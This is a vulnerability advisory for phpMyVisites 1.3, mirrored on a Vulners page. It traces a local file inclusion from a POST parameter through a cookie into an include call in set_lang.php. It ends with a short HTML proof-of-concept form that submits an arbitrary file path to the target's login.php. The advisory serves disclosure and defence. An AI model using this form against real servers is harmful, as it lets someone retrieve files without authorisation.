Lucene search
K

phpMyVisites.txt

🗓️ 21 Jun 2005 00:00:00Reported by Max CernyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

phpMyVisites 1.3 local file retrieval, bad user data validation, file retrieval vulnerabilit

Code
`  
  
==================================================================  
File: phpMyVisites 1.3 local file retrieval  
From: remote  
Date: 26/04/2005  
Credits: Max Cerny (max[at]czerny[dot]cz)  
Vendor: http://www.phpmyvisites.net  
Affected version: 1.3, > not tested  
==================================================================  
  
==================================================================  
Description:  
Remote user can retrieve local file on the webserver   
phpMyVisites is running on. It's cause due to bad user data   
validation code.   
  
FILE: include/set_lang.php  
  
line 94:   
include "./langs/".$lang['default_lang'];  
  
assuming, we have set $lang['default_lang'] on line 66:  
$lang['default_lang'] = $_COOKIE[$nomcookielg];  
  
it's good, look onto   
line 40:  
setcookie($nomcookielg,$_POST['mylang'],time()+3600*24*365*10);  
  
Now, we are able to spoof the value of $_POST['mylang'] to any file,   
we want to be retrieved.  
  
==================================================================  
  
==================================================================  
Exploit:  
<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">  
Local file: <input type="text" name="mylang" value="" />  
<input type="submit" value="Alexx says RELAX!">  
</form>  
  
==================================================================  
  
==================================================================  
Fix:  
Contact the Vendor  
  
==================================================================  
Have a nice Day !  
==================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jun 2005 00:00Current
7.4High risk
Vulners AI Score7.4
20